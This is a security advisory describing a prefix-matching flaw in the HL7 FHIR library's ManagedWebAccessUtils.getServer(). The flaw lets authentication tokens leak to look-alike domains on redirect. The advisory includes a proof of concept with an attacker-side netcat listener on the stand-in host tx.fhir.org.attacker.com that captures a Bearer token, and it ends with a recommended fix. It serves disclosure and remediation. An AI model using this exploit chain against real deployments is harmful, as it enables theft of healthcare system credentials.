GHSA-fgv2-4q4g-wc35

Summary

ManagedWebAccessUtils.getServer() uses String.startsWith() to match request URLs against configured server URLs for authentication credential dispatch. Because configured server URLs (e.g., http://tx.fhir.org) lack a trailing slash or host boundary check, an attacker-controlled domain like http://tx.fhir.org.attacker.com matches the prefix and receives Bearer tokens, Basic auth credentials, or API keys when the HTTP client follows a redirect to that domain.

Details

The root cause is in ManagedWebAccessUtils.getServer() at org.hl7.fhir.utilities/src/main/java/org/hl7/fhir/utilities/http/ManagedWebAccessUtils.java:26:

public static ServerDetailsPOJO getServer(String url, Iterable<ServerDetailsPOJO> serverAuthDetails) {
    if (serverAuthDetails != null) {
      for (ServerDetailsPOJO serverDetails : serverAuthDetails) {
          if (url.startsWith(serverDetails.getUrl())) {  // <-- no host boundary check
            return serverDetails;
          }
      }
    }
    return null;
}

The configured production terminology server URL is defined without a trailing slash in FhirSettingsPOJO.java:19:

protected static final String TX_SERVER_PROD = "http://tx.fhir.org";

This means: - "http://tx.fhir.org.attacker.com/capture".startsWith("http://tx.fhir.org") → true - "http://tx.fhir.org:8080/evil".startsWith("http://tx.fhir.org") → true

Exploit chain via SimpleHTTPClient (redirect path):

1. SimpleHTTPClient.get() (SimpleHTTPClient.java:68-105) makes a request to http://tx.fhir.org/ValueSet/$expand
2. On each redirect, the loop calls getHttpGetConnection(url, accept) (line 84) → setHeaders(connection) (line 117)
3. setHeaders() (line 122-133) calls authProvider.canProvideHeaders(url) and authProvider.getHeaders(url) on the redirect target URL
4. ServerDetailsPOJOHTTPAuthProvider.getServerDetails() (line 83-84) delegates to ManagedWebAccessUtils.getServer(url.toString(), servers)
5. The startsWith() check matches http://tx.fhir.org.attacker.com against http://tx.fhir.org
6. Credentials are dispatched to the attacker's server via ServerDetailsPOJOHTTPAuthProvider.getHeaders() (lines 38-58):
   • Bearer tokens: Authorization: Bearer {token}
   • Basic auth: Authorization: Basic {base64(user:pass)}
   • API keys: Api-Key: {apikey}
   • Custom headers from server config

Note: An earlier fix (commit 6b615880 "Strip headers on redirect") added an isNotSameHost() check, but this was removed in commit 3871cc69 ("Rework authorization providers in ManagedWebAccess"). The current code on master has no host validation during redirect following.

Exploit chain via ManagedFhirWebAccessor (OkHttp path):

ManagedFhirWebAccessor.httpCall() (line 81-112) sets auth headers via requestWithAuthorizationHeaders() before passing the request to OkHttpClient. OkHttpClient follows redirects by default (up to 20) and carries the pre-set auth headers to all redirect targets. The same startsWith() check in canProvideHeaders() applies.

The same vulnerable pattern also exists in ManagedWebAccess.isLocal() (line 214), where url.startsWith(server.getUrl()) is used to determine whether HTTP (non-TLS) access is allowed, potentially enabling TLS downgrade for attacker-controlled domains that match the prefix.

PoC

Step 1: Verify the prefix match behavior

// This demonstrates the core vulnerability
String configuredUrl = "http://tx.fhir.org";  // FhirSettingsPOJO.TX_SERVER_PROD
String attackerUrl = "http://tx.fhir.org.attacker.com/capture";

System.out.println(attackerUrl.startsWith(configuredUrl));
// Output: true

Step 2: Demonstrate credential dispatch to wrong host

Given a fhir-settings.json configuration at ~/.fhir/fhir-settings.json:

{
  "servers": [
    {
      "url": "http://tx.fhir.org",
      "authenticationType": "token",
      "token": "secret-bearer-token-12345"
    }
  ]
}

When SimpleHTTPClient.get("http://tx.fhir.org/ValueSet/$expand") follows a 302 redirect to http://tx.fhir.org.attacker.com/capture:

1. setHeaders() is called with the redirect target URL
2. authProvider.canProvideHeaders(new URL("http://tx.fhir.org.attacker.com/capture")) returns true
3. authProvider.getHeaders(...) returns {"Authorization": "Bearer secret-bearer-token-12345"}
4. The Authorization header with the secret token is sent to tx.fhir.org.attacker.com

Step 3: Attacker captures the credential

# On attacker-controlled server (tx.fhir.org.attacker.com)
nc -l -p 80 | head -20
# Output includes:
# GET /capture HTTP/1.1
# Host: tx.fhir.org.attacker.com
# Authorization: Bearer secret-bearer-token-12345

Impact

• Credential theft: Bearer tokens, Basic authentication passwords, API keys, and custom authentication headers configured for FHIR terminology servers can be exfiltrated by an attacker who can inject a redirect (via MITM, compromised CDN, or DNS poisoning).
• Impersonation: Stolen credentials allow an attacker to make authenticated requests to the legitimate FHIR server, potentially accessing or modifying clinical terminology data.
• Broad exposure: The FHIR Validator is widely used in healthcare IT for validating FHIR resources. Any deployment that configures server authentication in fhir-settings.json and makes outbound HTTP requests to terminology servers is affected.
• TLS downgrade: The same startsWith() pattern in ManagedWebAccess.isLocal() could allow an attacker-controlled domain to be treated as "local," bypassing the HTTPS enforcement.

Recommended Fix

Replace the startsWith() check in ManagedWebAccessUtils.getServer() with proper URL host boundary validation:

public static ServerDetailsPOJO getServer(String url, Iterable<ServerDetailsPOJO> serverAuthDetails) {
    if (serverAuthDetails != null) {
      for (ServerDetailsPOJO serverDetails : serverAuthDetails) {
          if (urlMatchesServer(url, serverDetails.getUrl())) {
            return serverDetails;
          }
      }
    }
    return null;
}

/**
 * Check if a URL matches a configured server URL with proper host boundary validation.
 * After the configured prefix, the next character must be '/', '?', '#', ':', or end-of-string.
 */
private static boolean urlMatchesServer(String url, String serverUrl) {
    if (url == null || serverUrl == null) return false;
    if (!url.startsWith(serverUrl)) return false;
    if (url.length() == serverUrl.length()) return true;
    char nextChar = url.charAt(serverUrl.length());
    return nextChar == '/' || nextChar == '?' || nextChar == '#' || nextChar == ':';
}

Apply the same fix to ManagedWebAccess.isLocal() at line 214 and the three-argument getServer() overload at line 14.

Additionally, consider re-introducing the host-equality check for redirects in SimpleHTTPClient (as was previously implemented in commit 6b615880 but removed in 3871cc69) to provide defense-in-depth against credential leakage on cross-origin redirects.